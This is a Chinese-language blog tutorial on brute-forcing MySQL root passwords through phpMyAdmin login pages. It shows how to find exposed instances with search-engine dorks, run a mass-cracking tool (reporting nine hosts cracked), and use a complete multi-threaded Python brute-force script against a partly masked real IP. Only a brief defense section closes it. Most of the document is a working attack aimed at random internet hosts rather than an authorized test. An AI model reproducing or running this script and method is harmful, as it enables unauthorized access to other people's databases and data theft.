1. 程式人生 > >你的Root賬號安全嗎?-看我用phpmyadmin密碼暴力破解工具攻破你的系統

你的Root賬號安全嗎?-看我用phpmyadmin密碼暴力破解工具攻破你的系統

你的Root賬號安全嗎?-看我用phpmyadmin密碼暴力破解工具攻破你的系統
simeon
phpmyadmin密碼暴力破解是指通過指定賬號和密碼對mysql資料庫進行登入嘗試,如果字典中的密碼跟實際密碼匹配,則意味著密碼破解成功。破解的前提是可以通過url正常登入phpmyadmin。通過phpmyadmin登入暴力破解 mysql root密碼的條件有:
(1)url能夠正常訪問。
(2)收集和整理root密碼
(3)網路通暢。
對mysql資料庫root密碼進行暴力密碼有多款工具,目前主要分為兩種,一種是針對某個IP地址進行Root密碼暴力破解,另外一種就是針對多個目標進行暴力破解。下面分別進行介紹。
1.使用phpmyadmin密碼暴力破解
1.1整理phpmyadmin的url地址
通過Google、百度等搜尋引擎搜尋phpmyadmin關鍵字,例如也可以搜尋inurl:phpmyadmin,然後通過瀏覽器開啟搜尋出來的記錄,對其進行訪問,能夠出現phpmyadmin登入介面的將其url地址複製下來,整理成一個url檔案,如圖1所示。需要注意的是phpmyadmin的url地址必須是登入phpmyadmin的地址,例如http://www.antian365.com/phpmyadmin、192.168.1.5:8080/phpmyadmin和http://www.antian365.com:8080/、192.168.1.5:8080/都是指向phpmyadmin登入地址,則以上地址均是正常地址,可以將這些地址複製到url.txt檔案中。在url.txt檔案中,一行為一個地址。
在這裡插入圖片描述


圖1整理url地址
1.2整理phpmyadmin暴力破解的密碼字典
密碼字典是一行一個字串或者數字等,如圖2所示,本例中主要選擇top100 password,在網際網路上有公佈的,當然也可以自行生成字典,按照要求生成字典是最好的。在實際滲透過程中將收集到的密碼字典進行整理,將其增加到破解字典中其效果將會事半功倍,另外一個方法就是收集目標物件的所有資訊,執行社工字典生成,其威力更大,在此不贅述。
在這裡插入圖片描述
圖2生成字典
1.3設定phpmyadmin多執行緒批量破解工具
1.匯入地址
執行phpmyadmin多執行緒批量破解工具,如圖3所示,右鍵單擊,選擇“匯入地址”選擇剛才整理的url.txt檔案。在軟體中會出現整理的url地址。
在這裡插入圖片描述

圖3匯入url地址
2.設定使用者字典檔案
在Mysql使用者名稱字典檔案中選擇設定的使用者名稱檔案,一般來說,破解物件為root,如果已知其它使用者名稱可以新增進去,在本例中只破解root賬號,因此使用者字典檔案中只有一行,內容為root。
3.設定MySql使用者密碼檔案
在“MySql使用者密碼檔案”中單擊選擇密碼破解字典,如圖4所示。一般來講破解可以先易後難,比如先破解數字字典,然後是字母,然後是特殊字元,密碼字典不宜過大,越大破解時間越長。
在這裡插入圖片描述
圖4設定mysql使用者密碼檔案
1.4開始暴力破解密碼
如圖5所示,單擊“開始爆破”,程式開始自動對phpMyAdmin入口地址逐個進行破解嘗試,有些地址由於網路原因可能會在狀態中出現“入口失敗”的提示。在軟體最底端會顯示破解進度,如本例中如果顯示244/244則意味著破解結束。
在這裡插入圖片描述

圖5開始暴力破解密碼
1.5檢視破解結果
隨著時間的推進,會有一些弱口令被暴力破解,如圖6所示,在軟體底端顯示“爆破成功【9】”則表示暴力破解成功9個目標。phpmyadmin多執行緒批量破解工具會自動儲存破解成功的記錄到檔案中,該檔案以“UrlSuccess”+“破解時間”進行命名,例如UrlSuccess 20170120141314.txt,開啟該檔案,該檔案儲存的是破解成功的記錄,如圖7所示。
在這裡插入圖片描述
圖6檢視破解結果
在這裡插入圖片描述
圖7成功破解的記錄
1.6線上登入測試以及漏洞利用
在破解UrlSuccess檔案中對破解成功的url進行登入測試。有關root賬號密碼在phpmyadmin中的利用請參閱本專題的其它相關文章。
2.使用py指令碼暴力破解指定phpmyadmin密碼
(1)準備python環境
首先本機需要安裝有python,其下載地址為:https://www.python.org/downloads/,根據自己的作業系統來選擇python版本,一般來說選擇python2.7.13比較好用。
(2)安裝requests模組,安裝完成後python,需要安裝requests,其下載地址為:https://pypi.python.org/pypi/requests#downloads
解壓requests-2.12.5.tar.gz檔案後,C:\Python27為python安裝路徑,到C:\Python27\requests-2.12.5\requests-2.12.5\目錄下執行命令:
C:\Python27\python.exe setup.py install
(3)將以下程式碼儲存為crackPhpmyadmin.py檔案

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: IcySun
# 指令碼功能:暴力破解phpMyadmin密碼 

from Queue import Queue
import threading,sys
import requests

def use():
    print '#' * 50
    print '\t Crack Phpmyadmin root\'s pass'
    print '\t\t\t Code By: IcySun'
    print '\t python crackPhpmyadmin.py http://xx.com/phpmyadmin/ \n\t    (default user is root)'


    print '#' * 50

def crack(password):
    global url
    payload = {'pma_username': 'root', 'pma_password': password}
    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
    r = requests.post(url, headers = headers, data = payload)
    if 'name="login_form"' not in r.content:
        print '[*] OK! Have Got The Pass ==> %s' % password

class MyThread(threading.Thread): 
    def __init__(self): 
        threading.Thread.__init__(self) 
    def run(self): 
        global queue 
        while not queue.empty(): 
            password = queue.get() 
            crack(password)

def main():
    global url,password,queue
    queue = Queue()
    url = sys.argv[1]
    passlist = open('password.txt','r')
    for password in passlist.readlines():
        password = password.strip()
        queue.put(password)

    for i in range(10): 
        c = MyThread() 
        c.start()

if __name__ == '__main__':
    if len(sys.argv) != 2 :
        use()
    else:
        main()

(4)準備破解密碼的字典檔案
將密碼字典命名為password.txt,並放置在crackPhpmyadmin.py指令碼所在指令碼。
(5)執行破解命令
在python.exe當前目錄的dos命令符下執行:python crackPhpmyadmin.py http://116.255.xxx.4:8080,如果破解成功,這會顯示結果,如圖8所示,顯示破解密碼為123456。
在這裡插入圖片描述
圖8使用python暴力破解單個密碼
3.防範方法探討
phpMyadmin密碼帳號暴力破解使用的方法主要是通過字典來進行窮舉登入,因此其防範方法可以採取以下措施:
(1)設定Root帳號為非預設名稱比如MyRoot等名稱,通過phpMyadmin登入後可以進行修改。
(2)設定Root帳號所對應的密碼為強口令,密碼為大小寫、特殊字元、字母等等組合體,最好超過10位數以上。
(3)在CMS系統中儘量每一個庫對應相應的CMS系統帳號,各個系統之間相對獨立,且預設在config.php、config.inc.php等配置檔案中也是使用相對獨立的庫帳號,建議不使用Root帳號和密碼進行配置。
(4)網站程式碼使用密碼進行壓縮打包,系統正式部署後清除無關檔案。不在網站根目錄下保留原始碼和資料庫檔案等。
更多攻防內容,請訪問專欄:
Web網站安全評估分析及防禦
http://blog.51cto.com/cloumn/detail/15
SQLMAP從入門到精通
http://blog.51cto.com/cloumn/detail/3
密碼安全攻防技術精講
https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983